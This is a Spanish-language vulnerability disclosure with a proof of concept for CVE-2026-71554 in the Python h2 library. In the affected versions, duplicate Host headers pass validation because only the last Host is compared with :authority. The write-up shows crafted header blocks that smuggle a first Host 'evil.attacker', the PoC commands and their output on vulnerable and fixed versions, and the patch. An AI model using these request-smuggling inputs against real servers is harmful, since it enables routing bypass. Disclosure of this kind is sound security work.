
PoC para CVE-2026-71554 - primitiva de request smuggling por cabecera Host duplicada en h2 (corregido en 4.4.1)
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Afectado: h2 <= 4.4.0 Corregido: h2 4.4.1 Gravedad: Media (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
Mientras revisaba la lógica de validación de encabezados de h2, noté que _validate_host_authority_header() en src/h2/utilities.py comprueba que Host y :authority coincidan, pero solo compara el último encabezado Host que ve. Si se envían dos encabezados Host, h2 usa el segundo para la comprobación de coincidencia y reenvía ambos a la aplicación sin quejarse.
Curiosamente, h2 4.4.0 ya rechaza los encabezados Content-Length duplicados con un ProtocolError. La misma corrección nunca se aplicó a Host. Incluso había un comentario TODO en el código fuente que reconocía exactamente esta laguna:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
_validate_host_authority_header() en src/h2/utilities.py usa un bucle en el que gana el último, que registra el último valor Host visto y comprueba solo que:
:authority o Host esté presenteNo hay ninguna comprobación sobre el número de encabezados Host. Cada encabezado Host se entrega aguas abajo a la aplicación independientemente de cuántos haya.
El cliente envía:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2 acepta ambos. La aplicación recibe ambos encabezados Host.
La degradación a HTTP/1.1 produce:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 s3.2 exige que un servidor responda 400 a cualquier solicitud HTTP/1.1 que contenga más de un encabezado Host. Los backends divergen:
nginx — rechaza con 400
Python stdlib — acepta, devuelve el PRIMER Host en la búsqueda
Werkzeug — acepta, devuelve el PRIMER Host en la búsqueda
El cliente envía:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- índice 0, primer Host (visto por el origen)
host: good.internal <- índice 1, último Host (usado por el validador de h2)
h2 valida: último Host (good.internal) == :authority (good.internal) - pasa.
La aplicación recibe ambos encabezados Host. La degradación a HTTP/1.1 produce:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
Los backends que devuelven el primer Host en una búsqueda de clave única enrutan la solicitud a evil.attacker mientras h2 creía haber validado good.internal. Desincronización total del enrutamiento entre lo que h2 validó y lo que el origen procesa.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2 lanza ProtocolError. Confirma que la laguna es específica de los encabezados Host duplicados.
El impacto depende de la arquitectura del despliegue:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASO 1 - Dos cabeceras Host, sin :authority (ambas reenviadas)
h2 reenvió las cabeceras Host: ['good.internal', 'evil.attacker']
Petición HTTP/1.1 resultante:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASO 2 - SIGILOSO: :authority coincide con la ÚLTIMA Host, la primera Host se cuela
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
La comprobación de discrepancia h2 PASA (:authority == última Host).
Petición HTTP/1.1 resultante:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Única Host discrepante frente a :authority (rechazada correctamente)
[control] SENDER rechazado: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
Los tres casos lanzan ProtocolError. No se reenvía ninguna cabecera.
Un contador añadido al bucle existente en _validate_host_authority_header():
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
Encontrado y reportado por Sunand Mohan (https://github.com/SunandM)